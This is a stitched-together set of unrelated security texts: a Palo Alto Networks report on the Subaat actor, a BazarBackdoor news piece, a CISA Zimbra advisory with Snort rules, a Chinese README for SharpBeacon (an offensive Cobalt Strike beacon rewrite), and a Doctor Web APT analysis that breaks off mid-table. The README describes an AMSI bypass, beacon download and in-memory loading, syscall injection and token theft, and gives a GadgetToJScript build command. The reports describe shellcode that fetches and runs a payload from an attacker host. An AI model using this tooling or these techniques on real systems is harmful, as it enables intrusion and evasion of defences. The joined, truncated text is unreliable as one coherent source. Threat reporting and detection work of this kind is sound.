commodity malware, or widely used by criminals. Palo Alto Networks has reported on many of these families in the past, including LuminosityLink, QuasarRAT, and DarkComet to name a few. The large number of commodity malware families paints a very different picture from the original attack that made use of Crimson Downloader, which is not a widely used malware. A full list of SHA256 hashes associated with these samples may be found in the appendix. One thing that caught our eye was the large number of LuminosityLink malware samples stored on this server. Looking at the embedded configuration settings for these samples, we see that they are all similar. The following example shows one of these configurations. A script written in a previous blog post was used to generate the output below. The email address shown above is used to register a customer’s copy of LuminosityLink. All samples using this registered builder contain this email address. We found all 20 of the identified LuminosityLink samples contained this same email address. The primary domain shown above is registered to 115.186.136[.]237, which is the IP address used by QuasarRAT for Command and Control (C2) communications. Looking at other samples found within the web server repository, we identified a number of malware families communicating with this IP address, including the following: - QuasarRAT - LuminosityLink - Meterpreter - NJRAT - RevengeRAT - RemcosRAT We also discovered that the email address discussed above was being used by an account on the popular HackingForum web forum service. The account in question that claims to own this email address is none other than ‘Subaat’. Looking at this user’s profile, we can see their posting history: a total of 14 posts in the past two years. We also see a date of birth of 2/24/1990, stating that the individual is 27 years old. A quick look at the posting history indicates that this person was inactive starting around December 2016, but returned to posting in early July of this year. This is in line with the campaign witnessed against a US-based government organization that took place on July 16th. The posts look to be related to various Office exploit builders and crypters. This again is in line with both the campaign we witnessed as well as the various malware we identified on subaat[.]com. ## A Look Behind the Scenes Looking at logs for the subaat webserver between July 1st and July 20th shows the IP address of 115.186.136[.]237 uploading and interacting with a number of malicious files. We found interactions with a total of 64 unique files during this period. Below is a chart showing the attacker at this IP address interacting with some of the more popular malware families that have been identified. As we can see from the chart above, a spike of activity took place in the July 11th to July 16th timeframe. This again is consistent with the email campaign that took place in the midst of this period. A number of malware families have been used by this specific attacker, and many of them are configured to communicate with 115.186.136[.]237 as the C2. ## Conclusion What started out as a simple look into what appeared to be a targeted phishing campaign turned into much more. By the end of this research endeavor, we have identified a server hosting a large number of malware samples that has been primarily used by one specific IP address. This IP address not only interacted with this web server, but also acted as a C2 server for many of these malware families. While looking at malware associated with this actor, we discovered an email address that is tied to a user account on HackForums that has a name consistent with the domain used to host the actor’s malware. We saw similarities in this campaign and both the Operation Transparent Tribe and Operation C-Major campaigns. Additionally, there is marginal evidence that suggests that the attacker may be based in Pakistan, which is again in line with Operation Transparent Tribe. However, the overall evidence is not conclusive, and there is insufficient proof to say decisively that this is the same threat actor. Palo Alto Networks customers are protected by this threat in a number of ways: - All identified samples are flagged as malicious within the Palo Alto Networks platform. - All domains identified within this research have been appropriately marked as malicious. - Traps correctly identified and blocks the exploits using CVE-2012-0158 and CVE-2017-0199. ## Appendix ### Analysis of Malicious RTF Documents The two identified samples that were used in a campaign against a US-based government organization have the following SHA256 hashes: - `0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301` - `9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d` These samples varied in size greatly; however, the underlying shellcode was consistent. One notable difference observed in one of the samples (`0ade05…`) was the inclusion of injecting the shellcode into a newly spawned instance of svchost.exe. When the shellcode begins, it will start by loading a number of functions that are used to inject code into svchost.exe. The following Python code demonstrates how this hashing function operates: The shellcode continues to decrypt a blob of data using a 4-byte XOR key of `0x8F51F053`. This blob contains a series of important strings, such as the URL and filename, as well as functions that will be used to download the payload. The shellcode continues to download a file to the `%TEMP%` directory from the following URL: `http://subaat[.]com/files/sp.exe`. The shellcode proceeds to execute this newly downloaded file prior to exiting. ### Analysis of Malicious Excel Documents The identified sample that was used in a campaign against a US-based government organization has the following SHA256 hash: - `e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621` When this sample is initially executed, it will attempt to run a malicious macro that is embedded within the file. This macro begins by determining where a dropped file will reside. It will attempt to find the following folders residing within a user’s profile path: - /Documents - /Downloads - /AppData The payload itself is stored within text boxes in a user form within the Excel document. This data is extracted and hex-decoded. The three blobs of data are concatenated to form a proper PE32 executable. A quick look at the included user form gives us a better view as to how this data is stored. The following example Python code demonstrates the hex-decoded data shown in the highlighted text box above. After this data is properly handled, the macro will drop this file with an extension of `.scr` to the designated file path. It is then executed in a new process. This newly spawned process is an instance of the Crimson Downloader malware family. ### SHA256 Hashes - `c4c478c5486a09ac06e657ace2c1edb00cc690a2ff3558598e07687aa149df71` - `6b6ff0bef244732e90e7a8c200bcd1d8db6f58fe4da68889eb847eb1b6458742` - `07cb90288ae53643a4da291863df6c9be92bfd56b953073e30b7c28c777274fc` - `66ef8f3660902cba0ca9bebd701d322aff1d5a13de0cf63cf3f1b8841e08efc6` - `20c949ca25fed25918e524dde67ffe44efb1c974a5ed68d519b77354303c4916` - `007e4b308a69d6c3dba5a01f754a63231b996f1a68ff43ec9b5906f583f0fc6b` - `f7d2f547d5ab07abf59f97fb069288d682a20bc9614642777d11c7db76b36f39` - `20e368b0d0288b968fed7193c965a7c7ecf3e731eb93a4cbd4420242fad7ce8c` - `9ddc4ba7a8025598b6a8344c5537af3e2ae6e6db8356dcbfc9ad86b84dee87af` - `95c00b3de53c0b5742c182f9221a3086bf046ad8da57c915e8c0b6dc5180fd7f` - `0804202f46dc94768820cb0915b8d2b36602575ac78e526ea7f518e584069242` - `914b6f21297ebb81621b6da00edcda59b4c1fdd06329ed7a587c9a9b09915583` - `2a73231d0480f7481737256a8dca6b2549db982cc10f1761c2a267eb85dcaca4` - `67d4ab365f1630e750aee300f14fbfc940ea235647014030bd56c4127933834b` - `41efb2f1cb81160539058d8fc2ca8c037692803dcb8b332c660233bffe5bf874` - `e51b8bf7cc72b47c8ee59056fabd2af1795152d8df33967949d2d2a0996cc51b` - `4c6f7aafc2e4d8b0b7e7f21cbb102e02dc314eeb2f8e754f59ea471f58cabda0` - `3a664210955a82d961480adcc914456931325268ccf26c09d0275ca1d2ff35f1` - `5cc14c2bc185121391a7c43e3e65ced4697274e93fe42f28f20c067dde7e9f1d` - `f19480d36453da029247fbd066c7f0c1b28912bbefafd052b1d4ee9a64eb9e31` - `6bbb87f05d9d987a3df3bb585de3f2fad5d5cd3f11a0e3c4587255c55a9fe2a5` - `75da69e466183b0d004719d32f779cd5b7849a6dac0b6303e11db543c0ddec32` - `a0a2edcd19a581aeba3de5bbca21065425fbf34fd1a798269ff99bd8af8bf847` - `2c34565535a0f90b469f0e100d9027190d3cd812bd824aa6af73b4884690a395` - `50c4f3d3335daf84d507ed2663a411d2ce39e9def172ddbaf7ade0f2ce0f2736` - `a8445387cb7e4bc79da34d371eedf50f265e145ce8f48c64aeff2690ed7f8b10` - `7218bc4e9b8817eff678422a9125a852c3f66ecf275aa691433dd8cd4910f66d` - `106938bff25de67513acc809c4c77b2aa9e9974ec8bf4d20bad154015abc77be` - `85116c4f9695bf15fe3fdcb20cff8634971e39c2b97b1a159446fa6cdf05e913` - `253bb91003a8c295a70240206605542147d7b9fdc2d26ac999772b3b78db3a80` - `2d5abd4cc322d5802617d6a1cd3fc22403052e2711bf6bd76976ab7d1cea45cf` - `e0d6e8584f2d3d6d807ad2fe9d2fccc792635e8e3ab0132f3b5dedc0394019c9` - `625f30d4abd89b94c1f732463202c51cd9424a1bcbf2e72a9779773c0f82f93c` - `6807c25ead1c377c975c84a214da8a68482623658369a02ce56b531d6f38a5b6` - `dfb984ea975ca992e1a0f9a6d30a41057edd36b170704b7831f609f44f80ad8d` - `ed9fb1d8c36fb60c808006ae63908980a259cb73ed44adf19856ea6c239d1eab` - `1f286fff72a562cd327985a1b57316364710f2cbfeedc46d12dc8d21b4611ecb` - `4da2fd94b4f21a346ebfa5d8793dd60a1d4200dfe6b91517a70aed4c0b59a4d4` - `983bc61d569839558e2a2ef2a53174efe45be4e65da991268ce1926beb4e3505` - `7b1ab4513788ef4b6628911ba6ed6362eb357b66d18f6988fb4ceffb20ee1d91` - `8c93d054d4ef93f695da9693f6de538e269b39320c934428f27cc22ef6b2d89e` - `cd873eaded83861c4f59bfb5c902b43bfd7f5ecb13eccc385498ad9564085e97` - `e63f0ab5413b0013d79c57f8132c21c0c9397c88caa01edbb4fbe6c2db4932a0` - `24bc5f9aa78d91d6c8641b90cac6d3c3e7ddf4b30a992a9129d73c5edb04f80f` - `89ac4eeaecd38fcb2eb8e0bacd156b6133a6093f44622f7d82e22493a69cafb7` - `07abc1eb421baffe4f894406c1435b3daf8d1dcfba53d8e4e8f584cf72d08110` - `2941360679ea485798e324e3538c358cf6cba65959ebf28df9fd4a5492bf2888` - `44963748c947e0f5d21d353e6e5ceb3b6a64fd0b4ad28540ab47bdf2422e9523` - `1d4f20832e641a1cedd598e187614b78ba3d5930c6dcd71e367b254664cb9b2e` - `050123edd0d9ea5acf32314aa500467211d8f204f57627abc42937fe11f04382` - `4c806d18ba1cac5d83be7c05f43697d5124b910d2de8264cdff1d8f186a0a7dd` - `aec031e3747b00be2b0cc3a1d910ae18ada65452f3e70425cae86fe24d2996d4` - `5ac984bb11b989ef745c35dd2418eb5bd26a6bba291cf2ba7235bf46d3400260` - `0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301` - `e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621` - `9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d` - `7bad7cbc32e83b8dfc4f6c95824ea45dcee2330de44d84c9bc551f99e6ca6faa` - `341403284158723f1f94897d257521a73fcfc8049b786f5004f60a063fb074f2` - `f68a169670bb3dc3bd0a2dc83120d34f59d7f4dacfdc98dbbd86931cdd4f7392` - `579c669bd8ec8dd393a836c6c27c86e40e8048fa5efbcfc03e027e69298f0e6a` - `19df2d2460be2f22f73ea7992470c5369599fba290c0f3dbc613ad35dc3ba18a` - `692997349c017c627c8779816bc41840dd7867b0c4d3bec99638bfba159675bc` - `c0658b5aa4e9bc2433557e65ad20ded6f91b3441dac72cb8c2ea7e1f2e43e05e` ### IP Addresses - `5.189.157[.]215` - `115.186.136[.]237` ### Domains - `subaat[.]com` - `hassanusauae786.hopto[.]org`
# Corporate Website Contact Forms Used to Spread BazarBackdoor Malware The stealthy BazarBackdoor malware is now being spread via website contact forms rather than typical phishing emails to evade detection by security software. BazarBackdoor is a stealthy backdoor malware created by the TrickBot group and is now under development by the Conti ransomware operation. This malware provides threat actors remote access to an internal device that can be used as a launchpad for further lateral movement within a network. The BazarBackdoor malware is usually spread through phishing emails that include malicious documents that download and install the malware. However, as secure email gateways have become better at detecting these malware droppers, distributors are moving to new ways of spreading the malware. ## Contact Forms Replacing Emails In a new report by Abnormal Security, analysts explain that a new distribution campaign started in December 2021 targets corporate victims with BazarBackdoor, with the likely goal of deploying Cobalt Strike or ransomware payloads. Instead of sending phishing emails to the targets, the threat actors first use corporate contact forms to initiate communication. For example, in one of the cases seen by Abnormal's analysts, the threat actors posed as employees at a Canadian construction company who submitted a request for a product supply quote. After the employee responds to the phishing email, the attackers send back a malicious ISO file supposedly relevant to the negotiation. Since sending these files directly is impossible or would trigger security alerts, the threat actors use file-sharing services like TransferNow and WeTransfer. We reported a similar case of contact form abuse in August, where fake DMCA infringement notices sent via contact forms were installing BazarBackdoor. In April 2021, we also reported on a phishing campaign using contact forms to spread the IcedID banking trojan and Cobalt Strike beacons. ## Hiding BazarLoader The ISO archive attachment contains a .lnk file and a .log file. The idea here is to evade AV detection by packing the payloads in the archive and having the user manually extract them after download. The .lnk file contains a command instruction that opens a terminal window using existing Windows binaries and loads the .log file, which is, in reality, a BazarBackdoor DLL. When the backdoor is loaded, it will be injected into the svchost.exe process and contact the command and control (C2) server to receive commands to execute. Due to many of the C2 IPs being offline at the time of Abnormal's analysis, the researchers couldn't retrieve the second-stage payload, so the ultimate goal of this campaign remains unknown. ## Related Articles - New Bumblebee malware replaces Conti's BazarLoader in cyberattacks - The Week in Ransomware - May 20th 2022 - Another one bites the dust - Conti ransomware shuts down operation, rebrands into smaller units - The Week in Ransomware - May 13th 2022 - A National Emergency - Costa Rica declares national emergency after Conti ransomware attacks Bill Toulas is a technology writer and infosec news reporter with over a decade of experience working on various online publications. An open source advocate and Linux enthusiast, he is currently finding pleasure in following hacks, malware campaigns, and data breach incidents, as well as exploring the intricate ways through which tech is swiftly transforming our lives.
# Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite ## SUMMARY Update November 10, 2022: This product was written by the Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing and Analysis Center (MS-ISAC) with contributions by the Federal Bureau of Investigation (FBI). CISA and the MS-ISAC are publishing this joint Cybersecurity Advisory (CSA) in response to active exploitation of multiple Common Vulnerabilities and Exposures (CVEs) against Zimbra Collaboration Suite (ZCS), an enterprise cloud-hosted collaboration software and email platform. CVEs currently being exploited against ZCS include: - CVE-2022-24682 - CVE-2022-27924 - CVE-2022-27925 chained with CVE-2022-37042 - CVE-2022-30333 Cyber threat actors may be targeting unpatched ZCS instances in both government and private sector networks. CISA and the MS-ISAC strongly urge users and administrators to apply the guidance in the Recommendations section of this CSA to help secure their organization’s systems against malicious cyber activity. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected]. SLTT organizations should report incidents to MS-ISAC (866-787-4722 or [email protected]). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. ## TECHNICAL DETAILS ### CVE-2022-27924 CVE-2022-27924 is a high-severity vulnerability enabling an unauthenticated malicious actor to inject arbitrary memcache commands into a targeted ZCS instance and cause an overwrite of arbitrary cached entries. The actor can then steal ZCS email account credentials in cleartext form without any user interaction. With valid email account credentials in an organization not enforcing multifactor authentication (MFA), a malicious actor can use spear phishing, social engineering, and business email compromise (BEC) attacks against the compromised organization. Additionally, malicious actors could use the valid account credentials to open webshells and maintain persistent access. On March 11, 2022, researchers from SonarSource announced the discovery of this ZCS vulnerability. Zimbra issued fixes for releases 8.8.15 and 9.0 on May 10, 2022. Based on evidence of active exploitation, CISA added this vulnerability to the Known Exploited Vulnerabilities Catalog on August 4, 2022. Due to ease of exploitation, CISA and the MS-ISAC expect to see widespread exploitation of unpatched ZCS instances in government and private networks. ### CVE-2022-27925 and CVE-2022-37042 CVE-2022-27925 is a high-severity vulnerability in ZCS releases 8.8.15 and 9.0 that has mboximport functionality to receive a ZIP archive and extract files from it. An authenticated user has the ability to upload arbitrary files to the system thereby leading to directory traversal. On August 10, 2022, researchers from Volexity reported widespread exploitation—against over 1,000 ZCS instances—of CVE-2022-27925 in conjunction with CVE-2022-37042. CISA added both CVEs to the Known Exploited Vulnerabilities Catalog on August 11, 2022. CVE-2022-37042 is an authentication bypass vulnerability that affects ZCS releases 8.8.15 and 9.0. CVE-2022-37042 could allow an unauthenticated malicious actor access to a vulnerable ZCS instance. According to Zimbra, CVE-2022-37042 is found in the MailboxImportServlet function. Zimbra issued fixes in late July 2022. ### CVE-2022-30333 CVE-2022-30333 is a high-severity directory traversal vulnerability in RARLAB UnRAR on Linux and UNIX allowing a malicious actor to write to files during an extract (unpack) operation. A malicious actor can exploit CVE-2022-30333 against a ZCS server by sending an email with a malicious RAR file. Upon email receipt, the ZCS server would automatically extract the RAR file to check for spam or malware. Any ZCS instance with unrar installed is vulnerable to CVE-2022-30333. Researchers from SonarSource shared details about this vulnerability in June 2022. Zimbra made configuration changes to use the 7zip program instead of unrar. CISA added CVE-2022-30333 to the Known Exploited Vulnerabilities Catalog on August 9, 2022. Based on industry reporting, a malicious cyber actor is selling a cross-site scripting (XSS) exploit kit for the ZCS vulnerability to CVE-2022-30333. A Metasploit module is also available that creates a RAR file that can be emailed to a ZCS server to exploit CVE-2022-30333. ### CVE-2022-24682 CVE-2022-24682 is a medium-severity vulnerability that impacts ZCS webmail clients running releases before 8.8.15 patch 30 (update 1), which contain a cross-site scripting (XSS) vulnerability allowing malicious actors to steal session cookie files. Researchers from Volexity shared this vulnerability on February 3, 2022, and Zimbra issued a fix on February 4, 2022. CISA added this vulnerability to the Known Exploited Vulnerabilities Catalog on February 25, 2022. ## DETECTION METHODS Note: CISA and the MS-ISAC will update this section with additional IOCs and signatures as further information becomes available. CISA recommends administrators, especially at organizations that did not immediately update their ZCS instances upon patch release, to hunt for malicious activity using the following third-party detection signatures: - Update September 27, 2022: Hunt for IOCs including: - IP Addresses - New September 27, 2022: Used by cyber actors during August 25-26, 2022 while attempting to exploit CVE-2022-27925 and CVE-2022-37042 - 62.113.255[.]70 - 185.112.83[.]77 - 207.148.76[.]235 (A Cobalt Strike command and control (C2) domain) - 209.141.56[.]190 (New September 27, 2022) - Update August 23, 2022: Deploy Snort signatures to detect malicious activity: - `alert tcp any any -> any any (msg:"ZIMBRA: HTTP POST content data '.jsp' file"; sid:x; flow:established,to_server; content:"POST"; http_method; content:"|2f|service|2f|extension|2f|backup|2f|mboximport"; nocase; http_uri; content:"file|3a|"; nocase; http_client_body; content:"|2e|jsp"; http_client_body; fast_pattern; classtype:http-content; reference:cve,2022-30333;)` - `alert tcp any any -> any any (msg:"ZIMBRA: Client HTTP Header 'QIHU 360SE'"; sid:x; flow:established,to_server; content:"POST"; http_method; content:"|2f|service|2f|extension|2f|backup|2f|mboximport"; nocase; http_uri; content:"QIHU|20|360SE"; nocase; http_header; fast_pattern; classtype:http-header; reference:cve,2022-30333;)` - `alert tcp any any -> any any (msg:"ZIMBRA:HTTP GET URI for Zimbra Local Config"; sid:x; flow:established,to_server; content:"/public/jsp/runas.jsp?pwd=zim&i=/opt/zimbra/bin/zmlocalconfig|3a|-s"; http_uri; classtype:http-uri; reference:cve,2022-30333;)` - Deploy third-party YARA rules to detect malicious activity: - See Volexity’s Mass Exploitation of (Un)authenticated Zimbra RCE: CVE-2022-27925 ## MITIGATIONS CISA and the MS-ISAC recommend organizations upgrade to the latest ZCS releases as noted on Zimbra Security – News & Alerts and Zimbra Security Advisories. See Volexity’s Mass Exploitation of (Un)authenticated Zimbra RCE: CVE-2022-27925 for mitigation steps. Additionally, CISA and the MS-ISAC recommend organizations apply the following best practices to reduce risk of compromise: - Maintain and test an incident response plan. - Ensure your organization has a vulnerability management program in place and that it prioritizes patch management and vulnerability scanning of known exploited vulnerabilities. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all state, local, tribal, and territorial (SLTT) organizations, as well as public and private sector critical infrastructure organizations: cisa.gov/cyber-hygiene-services. - Properly configure and secure internet-facing network devices. - Do not expose management interfaces to the internet. - Disable unused or unnecessary network ports and protocols. - Disable/remove unused network services and devices. - Adopt zero-trust principles and architecture, including: - Micro-segmenting networks and functions to limit or block lateral movements. - Enforcing phishing-resistant multifactor authentication (MFA) for all users and VPN connections. - Restricting access to trusted devices and users on the networks. ## INCIDENT RESPONSE If an organization’s system has been compromised by active or recently active threat actors in their environment, CISA and the MS-ISAC recommend the following initial steps: 1. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections. 2. Quarantine or take offline potentially affected hosts. 3. Reimage compromised hosts. 4. Provision new account credentials. 5. Report the compromise to CISA via CISA’s 24/7 Operations Center ([email protected] or 888-282-0870). SLTT government entities can also report to the MS-ISAC ([email protected] or 866-787-4722). See the joint CSA from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for additional guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA and the MS-ISAC also encourage government network administrators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail steps for both incident and vulnerability response. ## ACKNOWLEDGEMENTS CISA and the MS-ISAC would like to thank Volexity and Secureworks for their contributions to this advisory. ## DISCLAIMER The information in this report is being provided “as is” for informational purposes only. CISA and the MS-ISAC do not provide any warranties of any kind regarding this information. CISA and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.
# SharpBeacon CobaltStrike Beacon written in .Net 4 用.net重写了stager及Beacon,其中包括正常上线、文件管理、进程管理、令牌管理、结合SysCall进行注入、原生端口转发、关ETW等一系列功能。 ## 如何使用 启动teamserver后会生成beacon_keys文件,我们需要提取出里面的RSA公私密钥后,复制到config.cs中,并在config.cs修改回传的URL和生成hash的随机数。 **How to use** Firstly, starting TeamServer and you got .cobaltstrike.beacon_keys meanwhile configurate listener etc. Secondly, compiling SharpBeacon with VisualStudio after you changed url and RSA private key and public key in config.cs. And then click sharpbeacon.exe. Once you got one beacon session and have fun! BTW this project as just a beacon which depends on CobaltStrike. -- bopin2020 关于使用syscall注入的问题,bopin2020师傅在win11测试calc.exe创建线程没有成功;其他notepad, powershell都没有问题。感谢bopin2020师傅。 ## 概述 这次我们一起用C#来重写stager及其Beacon中的大部分常用功能,帖子主要介绍该项目的运行原理(LolBins->Stager->Beacon)及相应的功能介绍及展示。LolBins部分是由GadgetToJs使Stager转换为js、vba、hta文件后,再结合相应的csript、mshta等程序来运行;Stager功能包括从网络中拉取Beacon的程序集并在内存中加载及AMSIBypass;Beacon部分主要有包括正常上线、文件管理、进程管理、令牌管理、结合SysCall进行注入、原生端口转发、关ETW等一系列功能。 项目基于.net4.0,暂支持cs4.1(更高版本待测试),感谢M大、WBG师傅、SharpSploit、Geason的分享。另因最近出去广州找工作没时间弄,就暂时写到这里,开发进度比较赶致使封装不是很好、设计模式也没有用,但每个实现功能点都有较详细注释,等后续工作安定后会进行重构及完善更多功能。若有错误之处还请师傅指出,谢谢大家。 详见帖子:魔改CobaltStrike_重写Stager和Beacon。 ## LolBins LOLBins,全称“Living-Off-the-Land Binaries”,直白翻译为“生活在陆地上的二进制”,我大概将其分为两大类: 1. 带有Microsoft签名的二进制文件,可以是Microsoft系统目录中二进制文件。 2. 第三方认证签名程序。 LolBins的程序除了正常的功能外,还可以做其他意想不到的行为。在APT或红队渗透常用,常见于海莲花等APT组织所使用。下图是较常见的LolBins,还有很多就不一一列出了。 而GadgetToJS项目则可以把源码cs文件动态编译再base64编码后,保存在js、vba、vbs、hta文件,而在其相关文件中文件利用了当BinaryFormatter属性在进行反序列化时,可以触发对Activator.CreateInstance()的调用,从而实现.NET程序集加载/执行。但这需要在.net程序集中把相应的功能写在默认/公共构造函数,这样才能触发.NET程序集执行。下面以实例程序为例: 在相应文件夹下执行如下命令: ``` .\GadgetToJScript.exe -w js -c Program.cs -d System.Windows.Forms.dll -b -o gg ``` 其中命令参数解析如下: - -w js表示所生成的是js文件,可以生成其他形式的文件 - -c Program.cs是所选择的cs文件 - -d System.Windows.Forms.dll cs文件所用到的dll - -b 会在js文件中的引入第一个stager,因为当在.NET4.8+的版本中引入了旁路类型检查控件,默认值为false,如果所生成的脚本要在.NET4.8+的环境中运行,则设置为true(--Bypass/-b)。生成的stager1就是bypass这个检查的。 - -o gg生成文件名 生成js、hta、vbs等文件后默认是会被杀的,而我们只需要简单修改下单引号为/就行了。 最后执行所生成的js或hta。 ## Stager Stager部分的功能可以包括下图几项。我主要实现了从网络中拉取Beacon的程序集并在内存中加载及AMSIBypass,沙箱及虚拟机检测的方式有挺多方式的,师傅可以自行添加。拉取程序集及内存加载这个较为简单,就不细说了。 下面说说bypassAMSI,这里一开始找的不是AmsiScanBuffer,而是找DllCanUnloadNow的地址,然后再通过相关的硬编码找到AmsiScanBuffer后,再进行相应的patch。 ## Beacon Beacon部分主要有包括正常上线、文件管理、进程管理、令牌管理、结合SysCall进行注入、原生端口转发、关ETW等一系列功能。 ### 文件管理 先从文件管理部分说,包含了cp、mv、upload、download、filebrowse、rm、mkdir上述这七个功能点: - Cp: - Mv: - Upload: - Download: - Filebrowse: - rm: - mkdir ### 进程部分 进程部分,已完成的有run、shell、execute、runas、kill,未完成的有runu: - Run: - shell: - execute: - runas: - ps: - kill: ### 令牌权限 令牌权限部分,已完成的有getprivs、make_token、steal_token、rev2self: - Getprivs: - make_token:测试时在make_token后执行了cmd.exe /C dir \\10.10.10.165\C$ - steal_token:测试时在steal_token后执行了whoami - rev2self: ### 端口转发 端口转发部分,已完成的有rportfwd、rportfwd stop: - Rportfwd,注意这里端口转发teamserver只返回了本地需要绑定的端口,没有返回需转发的ip和port。 在192.168.202.180:22222上新建msf监听: 在本机地址192.168.202.1的23456端口转发到上述msf的监听。 本地访问23456端口: 另一个网段访问23456端口: - rportfwd stop: ### 注入部分 注入部分,cs的shinject、dllinject、inject都用来远程线程注入,我个人机器是win10 x64 1909,shellcode是用cs的64位c# shellcode,被注入的程序是64位的calc.exe,程序返回的NTSTATUS均为SUCCESS,且shellcode均已注入在相应的程序中,并新建出线程进行执行,但最后calc.exe都崩了,有点奇怪呀: 申请rwx内存空间存放shellcode后并在所执行shellcode下断: 执行NtCreateThreadEx(),被注入的calc.exe新建线程执行此shellcode: 最后跑起来报的c05,但分配的内存属性是rwx的。 ### 杂项部分 杂项部分,已完成有sleep、pwd、exit、setenv、drives、cd: - Sleep: - exit: - setenv: - drives: - Pwd: - cd: ## 完善及改进 后续需要改进的地方还有很多,有如下几点: 1. 该封装好就封装好,该用设计模式就用 2. 目前rsa密钥是pem方式就用了BouncyCastle库,要用回Exponent和Modulus 3. 更多的注入方式,APC、傀儡进程等 4. 更多的通信协议,如DNS、ICMP 5. 支持spawn**,因为当执行spawn和job后,teamserver端会回传相应的dll,要改ts端 6. 更多的功能,如mimi、keylogger、portscan、加载pe等 最后谢谢大家观看。
# Study of an APT Attack on a Telecommunications Company in Kazakhstan In October 2021, one of Kazakhstan’s telecommunication companies contacted Doctor Web, with suspicion of malware in the corporate network. During the first look, we found backdoors that were previously only used in targeted attacks. During the investigation, we also found out that the company’s internal servers had been compromised since 2019. For several years, Backdoor.PlugX.93 and BackDoor.Whitebird.30, the Fast Reverse Proxy (FRP) utilities, and RemCom have been the main attackers' tools. Because of the hackers' mistake, we got a unique opportunity to study the lists of victims and find out what backdoor management tools were used. Based on the acquired information, we concluded that the hacker group specialized in compromising the Asian companies’ mail servers with Microsoft Exchange software installed. That said, we also found victims from other countries, including: - Egyptian government agency - Italian airport - USA marketing company - Canadian transport and woodworking companies The logs collected along with the command and control server included victims infected from August 2021 to early November of the same year. Yet, in some cases, BackDoor.Whitebird.30 was installed not only on the server running Microsoft Exchange, but on domain controllers, too. Based on the tools, methods, and infrastructure used, we conclude that the Calypso APT hacker group is behind the attack. ## Remote Rover Command and control server for BackDoor.Whitebird.30 calls Remote Rover. It allows hackers to remotely launch applications, update the backdoor configuration, download and upload files. Besides that, you can use a command shell via Remote Rover. This is what the control server interface looks like: Remote Rover came with a configuration file `CFG\default.ini` with the following content: ``` E:\personal use\Independent research and development\remote\2021\RR\Configuration backup\telecom.cfg OneClock.exe ``` For a detailed description of the malware used and how it works, see the Dr.Web Virus Library: - BackDoor.Siggen2.3622 - BackDoor.PlugX.93 - BackDoor.Whitebird.30 - Trojan.Loader.891 - Trojan.Loader.896 - Trojan.Uacbypass.21 - Trojan.DownLoader43.44599 ## Conclusion During the investigation of the targeted attack, Doctor Web virus analysts found and described several backdoors and trojans. It’s worth noting that the attackers managed to remain undetected for as long as other targeted attack incidents. A hacker group compromised a telecommunications company's network more than two years ago. Doctor Web specialists recommend regularly checking network resources’ efficiency and timely fixing failures that may indicate the presence of malware on the network. Data compromise is one of targeted attacks’ main dangers, but the long-term presence of intruders is also a cause for concern. Such development allows them to control the organization’s work for many years and gain access to especially sensitive information at the proper time. If you suspect malicious activity in the corporate network, the best option is to contact the Doctor Web virus laboratory for qualified help. Dr.Web FixIt! helps you detect malware on servers and workstations. Taking adequate measures timely will minimize the damage and prevent the serious consequences of targeted attacks. ## Operating Routine of Discovered Malware Samples ### BackDoor.PlugX.93 - Added to the Dr.Web virus database: 2021-10-22 - Virus description added: 2021-10-30 - Packer: absent - Compilation date: 2020-08-13 - SHA1 hash: a8bff99e1ea76d3de660ffdbd78ad04f81a8c659 **Description** The PlugX backdoor module is written in C. It’s designed to decrypt the shellcode from the registry that loads the main backdoor into memory. **Operating principle** First, the backdoor receives the address of the VirtualProtect() function by hash. It then uses this address to change access rights to PAGE_EXECUTE_READWRITE, starting from the function at 0x10001000 and ending with the entire .text section. **Getting the function’s address by the hash passed as a parameter:** ```python import pefile ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) max_bits = 32 library_path_list = [...] # absolute path dlls def get_func_addr(hash): for library_path in library_path_list: library = library_path.split('\\') name_dll = library[len(library) - 1].upper() + b'\x00' hash_name_dll = 0 for i in name_dll: hash_name_dll = ord(i) + ror(hash_name_dll, 0x0D, max_bits) hash_name_dll = 0 + ror(hash_name_dll, 0x0D, max_bits) pe = pefile.PE(library_path) for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: func_name = exp.name + b'\x00' hash_name_func = 0 for i in func_name: hash_name_func = ord(i) + ror(hash_name_func, 0x0D, max_bits) if (hash_name_dll + hash_name_func == hash): print '{}-> 0x{:08x} -> {}'.format(name_dll, hash, exp.name) return ``` Changing the permissions to PAGE_EXECUTE_READWRITE was necessary to decrypt the code using the XOR operation. One version of the backdoor has dynamic XOR encryption. It has decryption at the beginning of the function and with encryption at the end of the function. **Facilitating the script’s work for IDAPython:** ```python import idaapi def xor_dec(address, count, key): for i in xrange(count): idaapi.patch_dword(address, idaapi.get_dword(address) ^ key) key += idaapi.get_dword(address) address += 4 ``` Before performing malicious actions, the backdoor, as in the case of VirtualProtect(), receives functions’ addresses that it needs to work. **Received features:** | Function name | Hash | |------------------------------|--------------| | 